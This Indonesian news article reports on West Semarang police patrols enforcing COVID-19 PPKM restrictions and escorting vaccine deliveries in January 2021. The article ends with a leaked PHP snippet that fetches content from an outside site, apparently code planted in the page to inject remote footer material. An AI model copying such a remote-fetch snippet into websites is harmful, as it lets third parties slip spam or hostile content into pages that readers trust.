Kapolsek Semarang Barat Rutin Kawal Patroli Sosialisasi Memutus Mata Rantai Covid 19

Sabtu, 16 Januari 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info|JATENG

Pelaksanaan pemberlakuan pembatasan kegiatanb masyarakat (PPKM) di Kota Semarang, sudah berjalan sejak 11 Januari 2021 lalu, dengan agenda utama adalah patroli dan sosialisasi untuk memutus mata rantai penyebaran pendemi Covid-19.

“Jadi, yang pertama bahwa Protokol Kesehatan tetap menjadi panglima dalam pelaksanaan PPKM. Baik itu jaga jarak, memakai masker dan tidak berkerumun di tempat-tempat umum. Kemudian yang utama adalah jam operasional, selalu kita cek setiap melakukan patroli. Jika melebihi jam operasional, ya tetap akan kita kawal untuk dilakukan penutupan, sesuai dengan Perwal No 1 tahun 2021,” jelas Kompol Iman Sudiantoro, SH, MH Kapolsek Semarang Barat kepada awak media usai pengawalan di lobby Mapolsek Semarang Barat.

Baca Juga:  PSHW Cabang Bojonegoro Bagikan Sembako Di Tengah Pandemi Covid-19

Disampaikan juga oleh Kapolsek ramah ini, bahwa pelaksanaan agenda PPKM, dalam penindakan untuk para pelanggar ada empat tahap. Yang pertama yaitu teguran lisan, lalu teguran tertulis, kemudian sanksi sosial dan yang terakhir adalah pembubaran kerumunan.

Baca Juga:  Seorang Pasien Kusta di Tanggamus Butuh Uluran Tangan, DDST Galang Dana

“Tapi yang terpenting sebenarnya bukan hukuman itu, tapi bagaimana pemahaman masyarakat untuk berdisiplin mematuhi protokol kesehatan. Itu targetnya,” tandas Iman

Dalam melakukan patroli, lanjut Iman, dilakukan bersama-sama tiga pilar, yaitu Polsek, Koramil dan personil Kecamatan.

“Sesuai Perwal No 1 tahun 2021, patroli dan sosialiasi PPKM kita lakukan 3 kal sehari. Agar masyarakat semakin paham dan sadar untuk mematuhi protokol kesehatan,” tegasnya

Baca Juga:  Diduga Patah Hati, Warga Klatakan Situbondo Gantung Diri Di Dapur Rumahnya

Dijelaskan juga oleh Kompol Iman, bahwa pengawalan terhadap Vaksin Covid 19, yang akan disuntikkan ke tenaga kesehatan (Nakes) di wilayah hukum Polsek Semarang Barat, cukup aman dan kondusif hingga tempat yang dituju.

Untuk Semarang Barat dikirim Vaksin Covid ke 5 puskesmas dan 1 rumah sakit, masing-masing sebanyak 25 sampai dengan 40 kotak, yang diambilkan dari gudang farmasi kawasan Industri Tambak Aji, Kota Semarang,” pungkas Iman.

(AD-JK)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim
Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 
Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 
Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas
Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran
DPO Perkara Tindak Pidana Korupsi Dana Desa (DD) di Ringkus
Gelar Vaksinasi Massal, Pemkab Kaur Tergetkan 2000 Dosis
Rutan Medaeng Akan Dibuat Mirip Apartemen

Berita Terkait

Senin, 8 Agustus 2022 - 21:30 WIB

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim

Senin, 27 Juni 2022 - 22:25 WIB

Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 

Senin, 27 Juni 2022 - 21:29 WIB

Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 

Kamis, 10 Februari 2022 - 06:46 WIB

Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas

Senin, 13 Desember 2021 - 13:29 WIB

Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>